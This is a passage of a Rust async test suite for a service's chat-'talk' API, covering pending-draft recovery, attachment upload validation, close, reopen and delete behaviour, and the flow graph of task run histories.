8117 Path(id.clone()),
8118 Ok(Json(NewTalkTurn {
8119 text: "what does the queue module do?".to_owned(),
8120 attachments: Vec::new(),
8121 })),
8122 ));
8123
8124 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8129 .await
8130 .unwrap_or_else(|_| {
8131 panic!(
8132 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8133 )
8134 })
8135 .expect("the busy branch dropped the gate without using it");
8136
8137 let running = talks.get(&id).expect("reload talk");
8144 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8145
8146 handler.abort();
8150 let _ = handler.await;
8151
8152 let _ = release_tx.send(());
8158
8159 let mut fresh = talks.get(&id).expect("reload talk");
8162 for _ in 0..SETTLE_STEPS {
8163 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8164 break;
8165 }
8166 tokio::time::sleep(Duration::from_millis(10)).await;
8167 fresh = talks.get(&id).expect("reload talk");
8168 }
8169 assert!(
8170 fresh.pending.is_empty() && fresh.turns.len() == 2,
8171 "attempt {attempt}: talk {id} left the operator's text queued \
8172 with no drainer - the reclaimed turn was dropped along with \
8173 the handler future (pending {:?}, {} turns)",
8174 fresh.pending,
8175 fresh.turns.len()
8176 );
8177 }
8178 }
8179
8180 #[tokio::test]
8181 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8182 let (_tmp, _repo, f) = talk_fixture().await;
8183 let id = f.post("/api/talks", None).await.json()["id"]
8184 .as_str()
8185 .expect("id")
8186 .to_owned();
8187 let store = f.talks();
8188 let mut recovered = store.get(&id).expect("opened talk");
8189 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8190 .expect("persist pending draft without a live turn");
8191
8192 let edited = f
8193 .post(
8194 &format!("/api/talks/{id}/pending/edit"),
8195 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8196 )
8197 .await;
8198 assert_eq!(edited.status, 200, "{}", edited.body);
8199 assert!(edited.json()["thinking"].as_bool().unwrap());
8200
8201 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8202 for _ in 0..SETTLE_STEPS {
8203 if detail["turns"].as_array().expect("turns").len() == 2 {
8204 break;
8205 }
8206 tokio::time::sleep(Duration::from_millis(10)).await;
8207 detail = f.get(&format!("/api/talks/{id}")).await.json();
8208 }
8209 let turns = detail["turns"].as_array().expect("turns");
8210 assert_eq!(
8211 turns.len(),
8212 2,
8213 "the recovered draft must run once: {detail}"
8214 );
8215 assert_eq!(turns[0]["body"], "corrected");
8216 assert_eq!(detail["pending"], "");
8217 }
8218
8219 #[tokio::test]
8220 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8221 let tmp = TempDir::new().expect("tempdir");
8222 let repo = tmp.path().join("repo");
8223 std::fs::create_dir_all(&repo).expect("repo dir");
8224 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8225 let f = Fixture::with_repo(repo).await;
8226 let id = f.post("/api/talks", None).await.json()["id"]
8227 .as_str()
8228 .expect("id")
8229 .to_owned();
8230 let store = f.talks();
8231 let mut recovered = store.get(&id).expect("opened talk");
8232 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8233 .expect("persist pending draft without a live turn");
8234
8235 let refused = f
8236 .post(
8237 &format!("/api/talks/{id}/say"),
8238 Some(r#"{"text":"new message"}"#),
8239 )
8240 .await;
8241 assert_eq!(refused.status, 409, "{}", refused.body);
8242 assert!(refused.body.contains("resume"), "{}", refused.body);
8243 let saved = store.get(&id).expect("draft remains after refusal");
8244 assert!(saved.turns.is_empty());
8245 assert_eq!(saved.pending, "saved before restart");
8246
8247 let say_path = format!("/api/talks/{id}/say");
8248 let (first, second) = tokio::join!(
8249 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8250 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8251 );
8252 assert_eq!(first.status, 409, "{}", first.body);
8253 assert_eq!(second.status, 409, "{}", second.body);
8254 let saved = store
8255 .get(&id)
8256 .expect("draft remains after concurrent refusals");
8257 assert!(saved.turns.is_empty());
8258 assert_eq!(saved.pending, "saved before restart");
8259
8260 let resumed = f
8261 .post(&format!("/api/talks/{id}/pending/resume"), None)
8262 .await;
8263 assert_eq!(resumed.status, 202, "{}", resumed.body);
8264 let duplicate = f
8265 .post(&format!("/api/talks/{id}/pending/resume"), None)
8266 .await;
8267 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8268
8269 for _ in 0..SETTLE_STEPS {
8270 if store.get(&id).expect("talk").turns.len() == 2 {
8271 break;
8272 }
8273 tokio::time::sleep(Duration::from_millis(10)).await;
8274 }
8275 let finished = store.get(&id).expect("finished talk");
8276 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8277 assert_eq!(finished.turns[0].body, "saved before restart");
8278 assert!(finished.pending.is_empty());
8279 }
8280
8281 #[tokio::test]
8282 async fn an_image_only_recovered_draft_resumes_without_text() {
8283 let (_tmp, _repo, f) = talk_fixture().await;
8284 let id = f.post("/api/talks", None).await.json()["id"]
8285 .as_str()
8286 .expect("id")
8287 .to_owned();
8288 let uploaded = f
8289 .post_bytes(
8290 &format!("/api/talks/{id}/attachments"),
8291 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8292 PNG_BYTES,
8293 )
8294 .await;
8295 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8296 let attachment = f
8297 .talks()
8298 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8299 .expect("attachment metadata")
8300 .expect("stored attachment");
8301 let store = f.talks();
8302 let mut recovered = store.get(&id).expect("opened talk");
8303 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8304
8305 let resumed = f
8306 .post(&format!("/api/talks/{id}/pending/resume"), None)
8307 .await;
8308 assert_eq!(resumed.status, 202, "{}", resumed.body);
8309 for _ in 0..SETTLE_STEPS {
8310 if store.get(&id).expect("talk").turns.len() == 2 {
8311 break;
8312 }
8313 tokio::time::sleep(Duration::from_millis(10)).await;
8314 }
8315 let finished = store.get(&id).expect("finished talk");
8316 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8317 assert!(finished.turns[0].body.is_empty());
8318 assert_eq!(finished.turns[0].attachments.len(), 1);
8319 assert!(finished.pending_attachments.is_empty());
8320 }
8321
8322 #[tokio::test]
8323 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8324 let (_tmp, _repo, f) = talk_fixture().await;
8325 let id = f.post("/api/talks", None).await.json()["id"]
8326 .as_str()
8327 .expect("id")
8328 .to_owned();
8329 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8330 assert_eq!(closed.status, 200, "{}", closed.body);
8331 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8332 .expect("serialize closed talk");
8333 for (path, body) in [
8334 (format!("/api/talks/{id}/pending/resume"), None),
8335 (
8336 format!("/api/talks/{id}/pending/clear"),
8337 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8338 ),
8339 (
8340 format!("/api/talks/{id}/pending/edit"),
8341 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8342 ),
8343 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8344 ] {
8345 let response = f.post(&path, body).await;
8346 assert_eq!(response.status, 409, "{}", response.body);
8347 }
8348 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8349 .expect("serialize closed talk");
8350 assert_eq!(
8351 after_clear, before_clear,
8352 "clear must not rewrite a closed talk"
8353 );
8354 }
8355
8356 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8359
8360 #[tokio::test]
8361 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8362 let tmp = TempDir::new().expect("tempdir");
8363 let repo = tmp.path().join("repo");
8364 std::fs::create_dir_all(&repo).expect("repo dir");
8365 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8366 let f = Fixture::with_repo(repo).await;
8367 let id_a = f.post("/api/talks", None).await.json()["id"]
8368 .as_str()
8369 .unwrap()
8370 .to_owned();
8371 let id_b = f.post("/api/talks", None).await.json()["id"]
8372 .as_str()
8373 .unwrap()
8374 .to_owned();
8375
8376 let a = f
8377 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8378 .await;
8379 assert_eq!(a.status, 202, "{}", a.body);
8380 assert_eq!(a.json()["thinking"], true);
8381 let b = f
8382 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8383 .await;
8384 assert_eq!(b.status, 202, "{}", b.body);
8385 assert_eq!(b.json()["thinking"], true);
8386
8387 let listed = f.get("/api/talks").await.json();
8388 for id in [&id_a, &id_b] {
8389 let view = listed
8390 .as_array()
8391 .unwrap()
8392 .iter()
8393 .find(|talk| talk["id"] == *id)
8394 .unwrap();
8395 assert_eq!(view["thinking"], true, "{listed}");
8396 }
8397 let repeated = f
8398 .post(
8399 &format!("/api/talks/{id_a}/say"),
8400 Some(r#"{"text":"again"}"#),
8401 )
8402 .await;
8403 assert_eq!(repeated.status, 202, "{}", repeated.body);
8404 assert_eq!(repeated.json()["pending"], "again");
8405 }
8406
8407 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8410
8411 #[tokio::test]
8412 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8413 let f = Fixture::start().await;
8414 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8415
8416 let res = f
8417 .post_bytes(
8418 &format!("/api/talks/{id}/attachments"),
8419 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8420 PNG_BYTES,
8421 )
8422 .await;
8423 assert_eq!(res.status, 201, "{}", res.body);
8424 let body = res.json();
8425 assert_eq!(body["name"], "shot.png");
8426 assert_eq!(body["mime"], "image/png");
8427 assert_eq!(body["bytes"], PNG_BYTES.len());
8428 let att_id = body["id"].as_str().expect("id").to_owned();
8429 assert_eq!(
8430 att_id.len(),
8431 32,
8432 "the id must never be a client-suppliable path: {att_id}"
8433 );
8434
8435 let got = f
8436 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8437 .await;
8438 assert_eq!(got.status, 200, "{}", got.body);
8439 assert_eq!(got.header("content-type"), Some("image/png"));
8440 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8441 assert_eq!(got.bytes, PNG_BYTES);
8442 }
8443
8444 #[tokio::test]
8445 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8446 let f = Fixture::start().await;
8447 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8448
8449 let svg = f
8452 .post_bytes(
8453 &format!("/api/talks/{id}/attachments"),
8454 &[("Content-Type", "image/svg+xml")],
8455 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8456 )
8457 .await;
8458 assert!(
8459 (400..500).contains(&svg.status),
8460 "svg must be refused: {} {}",
8461 svg.status,
8462 svg.body
8463 );
8464 assert!(svg.body.contains("SVG"), "{}", svg.body);
8465
8466 let text = f
8467 .post_bytes(
8468 &format!("/api/talks/{id}/attachments"),
8469 &[("Content-Type", "text/plain")],
8470 b"just some text",
8471 )
8472 .await;
8473 assert!(
8474 (400..500).contains(&text.status),
8475 "an unlisted type must be refused: {} {}",
8476 text.status,
8477 text.body
8478 );
8479
8480 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8483 let big = f
8484 .post_bytes(
8485 &format!("/api/talks/{id}/attachments"),
8486 &[("Content-Type", "image/png")],
8487 &oversized,
8488 )
8489 .await;
8490 assert_eq!(
8491 big.status,
8492 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8493 "{}",
8494 big.body
8495 );
8496 }
8497
8498 #[tokio::test]
8499 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8500 let f = Fixture::start().await;
8501 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8502
8503 let res = f
8506 .post_bytes(
8507 &format!("/api/talks/{id}/attachments"),
8508 &[("Content-Type", "image/png")],
8509 b"<html>not a picture</html>",
8510 )
8511 .await;
8512 assert!((400..500).contains(&res.status), "{}", res.body);
8513 }
8514
8515 #[tokio::test]
8516 async fn an_unknown_attachment_id_is_a_404() {
8517 let f = Fixture::start().await;
8518 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8519
8520 let res = f
8521 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8522 .await;
8523 assert_eq!(res.status, 404, "{}", res.body);
8524 }
8525
8526 #[tokio::test]
8527 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8528 let f = Fixture::start().await;
8529 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8530
8531 let uploaded = f
8532 .post_bytes(
8533 &format!("/api/talks/{id}/attachments"),
8534 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8535 PNG_BYTES,
8536 )
8537 .await;
8538 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8539 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8540
8541 let res = f
8542 .post(
8543 &format!("/api/talks/{id}/say"),
8544 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8545 )
8546 .await;
8547 assert_eq!(res.status, 202, "{}", res.body);
8548 let queued = res.json();
8549 let turns = queued["turns"].as_array().expect("turns array");
8550 assert_eq!(
8551 turns.len(),
8552 1,
8553 "an empty body with an attachment is still a turn: {queued}"
8554 );
8555 assert_eq!(turns[0]["who"], "operator");
8556 assert_eq!(turns[0]["body"], "");
8557 let atts = turns[0]["attachments"]
8558 .as_array()
8559 .expect("attachments array");
8560 assert_eq!(atts.len(), 1);
8561 assert_eq!(atts[0]["id"], att_id);
8562 assert_eq!(atts[0]["mime"], "image/png");
8563
8564 let on_disk = f.talks().get(&id).expect("get");
8567 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8568 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8569 }
8570
8571 #[tokio::test]
8572 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8573 let f = Fixture::start().await;
8574 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8575
8576 let res = f
8577 .post(
8578 &format!("/api/talks/{id}/say"),
8579 Some(&format!(
8580 r#"{{"text":"hi","attachments":["{}"]}}"#,
8581 "a".repeat(32)
8582 )),
8583 )
8584 .await;
8585 assert!((400..500).contains(&res.status), "{}", res.body);
8586 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8587
8588 let on_disk = f.talks().get(&id).expect("get");
8589 assert!(
8590 on_disk.turns.is_empty(),
8591 "a rejected attachment id must not partially record the turn: {:?}",
8592 on_disk.turns
8593 );
8594 }
8595
8596 #[tokio::test]
8597 async fn talk_close_makes_the_talk_refuse_further_turns() {
8598 let f = Fixture::start().await;
8599 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8600
8601 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8602 assert_eq!(closed.status, 200, "{}", closed.body);
8603 assert_eq!(closed.json()["status"], "closed");
8604
8605 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8607 assert_eq!(closed_again.status, 200);
8608 assert_eq!(closed_again.json()["status"], "closed");
8609
8610 let said = f
8611 .post(
8612 &format!("/api/talks/{id}/say"),
8613 Some(r#"{"text":"too late"}"#),
8614 )
8615 .await;
8616 assert_eq!(said.status, 409, "{}", said.body);
8617 }
8618
8619 #[tokio::test]
8620 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8621 let (_tmp, _repo, f) = talk_fixture().await;
8622 let id = f.post("/api/talks", None).await.json()["id"]
8623 .as_str()
8624 .expect("id")
8625 .to_owned();
8626 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8627 assert_eq!(closed.status, 200, "{}", closed.body);
8628
8629 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8630 assert_eq!(reopened.status, 200, "{}", reopened.body);
8631 assert_eq!(reopened.json()["status"], "open");
8632
8633 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8635 assert_eq!(reopened_again.status, 200);
8636 assert_eq!(reopened_again.json()["status"], "open");
8637
8638 let said = f
8639 .post(
8640 &format!("/api/talks/{id}/say"),
8641 Some(r#"{"text":"still there?"}"#),
8642 )
8643 .await;
8644 assert_eq!(
8645 said.status, 202,
8646 "a reopened talk accepts turns again: {}",
8647 said.body
8648 );
8649 }
8650
8651 #[tokio::test]
8652 async fn talk_reopen_on_an_unknown_id_is_404() {
8653 let f = Fixture::start().await;
8654 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8655 assert_eq!(res.status, 404, "{}", res.body);
8656 }
8657
8658 #[tokio::test]
8659 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8660 let f = Fixture::start().await;
8661 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8662
8663 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8664 assert_eq!(deleted.status, 204, "{}", deleted.body);
8665
8666 let after = f.get(&format!("/api/talks/{id}")).await;
8667 assert_eq!(after.status, 404, "{}", after.body);
8668
8669 let listed = f.get("/api/talks").await.json();
8670 assert!(
8671 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8672 "a deleted talk must not linger in the list: {listed}"
8673 );
8674 }
8675
8676 #[tokio::test]
8677 async fn talk_delete_on_an_unknown_id_is_404() {
8678 let f = Fixture::start().await;
8679 let res = f.delete("/api/talks/nonexistent-id").await;
8680 assert_eq!(res.status, 404, "{}", res.body);
8681 }
8682
8683 #[tokio::test]
8687 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8688 let f = Fixture::start().await;
8689 let (a, b, gone) = (
8690 "20260902-140501-aaaa",
8691 "20260902-140502-bbbb",
8692 "20260902-140503-cccc",
8693 );
8694 write_run(&f.runs(), a, RunStatus::Stalled);
8695 let mut review = RunState::new(
8696 PathBuf::from("/repo/magi"),
8697 "main".to_owned(),
8698 "0123456789abcdef".to_owned(),
8699 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8700 .to_owned(),
8701 Config::default(),
8702 );
8703 review.id = b.to_owned();
8704 review.status = RunStatus::Merged;
8705 write_state(&f.runs(), &review);
8706
8707 let mut task = Task::new(
8708 "retry".to_owned(),
8709 "Do the thing".to_owned(),
8710 PathBuf::from("/repo/magi"),
8711 Source::Human,
8712 );
8713 task.start(a.to_owned());
8714 task.stall("quota");
8715 task.start(a.to_owned());
8716 task.start(b.to_owned());
8717 task.start(gone.to_owned());
8718 f.queue().put(&mut task).expect("file the task");
8719
8720 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8721 assert_eq!(res.status, 200, "{}", res.body);
8722 let v = res.json();
8723 let h = v["history"].as_array().expect("history");
8724 assert_eq!(h.len(), 4, "{v}");
8725 assert_eq!(h[0]["kind"], "competition");
8726 assert_eq!(h[0]["status"], "stalled");
8727 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8728 assert_eq!(h[1]["kind"], "resume", "{v}");
8729 assert!(
8730 h[0]["outcome"]
8731 .as_str()
8732 .unwrap()
8733 .contains("unknown. Pass #2"),
8734 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8735 );
8736 assert!(
8737 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8738 "{v}"
8739 );
8740 assert!(
8741 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8742 "an unrecorded cause must not be narrated as an operator park: {v}"
8743 );
8744 assert_eq!(h[2]["kind"], "review");
8745 assert!(
8746 h[2]["description"]
8747 .as_str()
8748 .unwrap()
8749 .contains("magi/aaaa/A")
8750 );
8751 assert_eq!(h[2]["status"], "merged");
8752 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8753 assert_eq!(v["runs_unreadable"], 1);
8754 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8755 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8756 assert_eq!(nodes[4]["note"], "unreadable");
8757 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8758 assert_eq!(v["instruction"], "Do the thing");
8759 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8760
8761 let run = f.get(&format!("/api/runs/{a}")).await.json();
8763 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8764
8765 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8766 }
8767
8768 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8769 let mut s = RunState::new(
8770 PathBuf::from("/repo/magi"),
8771 "main".to_owned(),
8772 "0123456789abcdef".to_owned(),
8773 "Do it".to_owned(),
8774 Config::default(),
8775 );
8776 s.status = status;
8777 edit(&mut s);
8778 s
8779 }
8780
8781 fn flow_task(runs: &[&str]) -> Task {
8782 let mut t = Task::new(
8783 "t".to_owned(),
8784 "Do it".to_owned(),
8785 PathBuf::from("/repo/magi"),
8786 Source::Human,
8787 );
8788 for r in runs {
8789 t.start((*r).to_owned());
8790 }
8791 t
8792 }
8793
8794 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8795 let h = task_history(task, |id| {
8796 states
8797 .iter()
8798 .find(|(i, _)| *i == id)
8799 .and_then(|(_, s)| s.clone())
8800 });
8801 task_flow(task, &h, 5)
8802 }
8803
8804 #[test]
8805 fn flow_opens_with_the_chat_that_queued_the_task() {
8806 let mut t = flow_task(&[]);
8807 t.source = Source::Agent {
8808 run: "a b/c".to_owned(),
8809 node: crate::queue::CHAT_NODE.to_owned(),
8810 };
8811 let f = flow_for(&t, &[]);
8812 assert_eq!(f.nodes[0].key, "chat");
8813 assert_eq!(f.nodes[0].kind, "chat");
8814 assert_eq!(
8815 f.nodes[0].label,
8816 format!("Chat {}", crate::queue::short("a b/c"))
8817 );
8818 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8819 assert_eq!(f.nodes[1].key, "start");
8820 assert_eq!(
8821 f.edges[0],
8822 FlowEdge {
8823 from: "chat".to_owned(),
8824 to: "start".to_owned(),
8825 label: "queued from chat".to_owned(),
8826 attempt: AttemptCost::None,
8827 }
8828 );
8829 }
8830
8831 #[test]
8832 fn flow_has_no_chat_box_for_other_sources() {
8833 for source in [
8834 Source::Human,
8835 Source::Issue {
8836 number: 3,
8837 repo: "o/r".to_owned(),
8838 },
8839 Source::Agent {
8840 run: "20260904-014455-ab12".to_owned(),
8841 node: "implement".to_owned(),
8842 },
8843 ] {
8844 let mut t = flow_task(&[]);
8845 t.source = source;
8846 let f = flow_for(&t, &[]);
8847 assert_eq!(f.nodes[0].key, "start");
8848 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8849 assert!(f.edges.iter().all(|e| e.from != "chat"));
8850 }
8851 }
8852
8853 const FA: &str = "20260902-140501-aaaa";
8854 const FB: &str = "20260902-140502-bbbb";
8855
8856 #[test]
8857 fn flow_follows_blocked_retry_merged_to_done() {
8858 let mut t = flow_task(&[FA, FB]);
8859 t.status = TaskStatus::Done;
8860 let f = flow_for(
8861 &t,
8862 &[
8863 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8864 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8865 ],
8866 );
8867 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8868 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8869 assert_eq!(f.edges.len(), 3);
8870 assert_eq!(f.edges[0].label, "claimed");
8871 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8872 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8873 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8874 assert_eq!(
8875 f.nodes[2].href.as_deref(),
8876 Some("#/runs/20260902-140502-bbbb")
8877 );
8878 assert!(f.nodes[2].decided);
8879 }
8880
8881 #[test]
8882 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8883 let quota = || {
8884 flow_run(RunStatus::Stalled, |s| {
8885 s.quota.push(crate::run::QuotaLoss {
8886 seat: "judge-1".to_owned(),
8887 node: "judge".to_owned(),
8888 at: Timestamp::now(),
8889 reset: None,
8890 })
8891 })
8892 };
8893 let mut t = flow_task(&[FA, FA]);
8894 t.status = TaskStatus::Queued;
8895 let f = flow_for(&t, &[(FA, Some(quota()))]);
8896 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8897 assert_eq!(f.nodes[1].note, Some("interrupted"));
8898 assert_eq!(
8899 f.nodes[1].status, None,
8900 "no outcome copied onto an earlier pass"
8901 );
8902 assert_eq!(
8903 f.edges[1].attempt,
8904 AttemptCost::Unknown,
8905 "a resume does not prove the earlier pass was refunded"
8906 );
8907 assert!(f.edges[1].label.contains("resume the same run"));
8908 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8909 assert_eq!(
8910 f.edges[2].label,
8911 "stalled after a resume, refund unknown \u{2192} queued"
8912 );
8913 assert!(!f.nodes[2].decided, "a stall is not a decision");
8914 assert_eq!(f.nodes[2].note, Some("no verdict"));
8915 }
8916
8917 #[test]
8918 fn flow_single_pass_quota_stall_is_refunded() {
8919 let t = flow_task(&[FA]);
8920 let f = flow_for(
8921 &t,
8922 &[(
8923 FA,
8924 Some(flow_run(RunStatus::Stalled, |s| {
8925 s.quota.push(crate::run::QuotaLoss {
8926 seat: "judge-1".to_owned(),
8927 node: "judge".to_owned(),
8928 at: Timestamp::now(),
8929 reset: None,
8930 })
8931 })),
8932 )],
8933 );
8934 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8935 }
8936
8937 #[test]
8938 fn flow_parked_refunds_and_stall_without_quota_spends() {
8939 let mut t = flow_task(&[FA]);
8940 t.status = TaskStatus::Queued;
8941 let f = flow_for(
8942 &t,
8943 &[(
8944 FA,
8945 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8946 )],
8947 );
8948 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8949 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8950 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8951 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8952 assert!(!f.nodes[1].decided);
8953 }
8954
8955 #[test]
8956 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8957 let t = flow_task(&[FA, FB]);
8958 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8959 assert_eq!(f.nodes[1].note, Some("unreadable"));
8960 assert!(!f.nodes[1].readable);
8961 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8962 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8963 }
8964
8965 #[test]
8966 fn flow_names_the_branch_of_a_review_only_run() {
8967 let t = flow_task(&[FA]);
8968 let f = flow_for(
8969 &t,
8970 &[(
8971 FA,
8972 Some(flow_run(RunStatus::Merged, |s| {
8973 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8974 })),
8975 )],
8976 );
8977 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8978 assert_eq!(
8979 f.nodes[1].detail.as_deref(),
8980 Some("review-only run of branch magi/x/A")
8981 );
8982 }
8983
8984 #[test]
8985 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8986 let mut t = flow_task(&[FA]);
8987 t.status = TaskStatus::Held;
8988 let pr = crate::run::PrRecord {
8989 url: "https://example.test/pr/1".to_owned(),
8990 number: 1,
8991 state: "open".to_owned(),
8992 checks: "green".to_owned(),
8993 round: 0,
8994 rounds: 3,
8995 red_at_merge: Vec::new(),
8996 };
8997 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8998 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8999 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9000 t.status = TaskStatus::Done;
9001 let f = flow_for(&t, &[(FA, Some(blocked))]);
9002 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9003 }
9004
9005 #[test]
9006 fn flow_with_no_runs_goes_from_queued_to_queued() {
9007 let t = flow_task(&[]);
9008 let f = flow_for(&t, &[]);
9009 assert_eq!(f.nodes.len(), 2);
9010 assert_eq!(f.edges.len(), 1);
9011 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9012 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9013 }
9014
9015 #[test]
9018 fn a_parked_non_terminal_run_is_explained_as_parked() {
9019 let mut s = RunState::new(
9020 PathBuf::from("/repo/magi"),
9021 "main".to_owned(),
9022 "0123456789abcdef".to_owned(),
9023 "Do it".to_owned(),
9024 Config::default(),
9025 );
9026 s.status = RunStatus::Implementing;
9027 s.parked = true;
9028 let task = Task::new(
9029 "t".to_owned(),
9030 "Do it".to_owned(),
9031 PathBuf::from("/repo/magi"),
9032 Source::Human,
9033 );
9034 let v = task_run_view(
9035 "20260902-140501-aaaa",
9036 Some(&s),
9037 RunSlot {
9038 n: 1,
9039 resumed: false,
9040 resumed_later: None,
9041 prior: None,
9042 last: true,
9043 },
9044 &task,
9045 );
9046 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9047 }
9048
9049 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9050 let mut s = flow_run(RunStatus::Implementing, edit);
9051 s.parked = false;
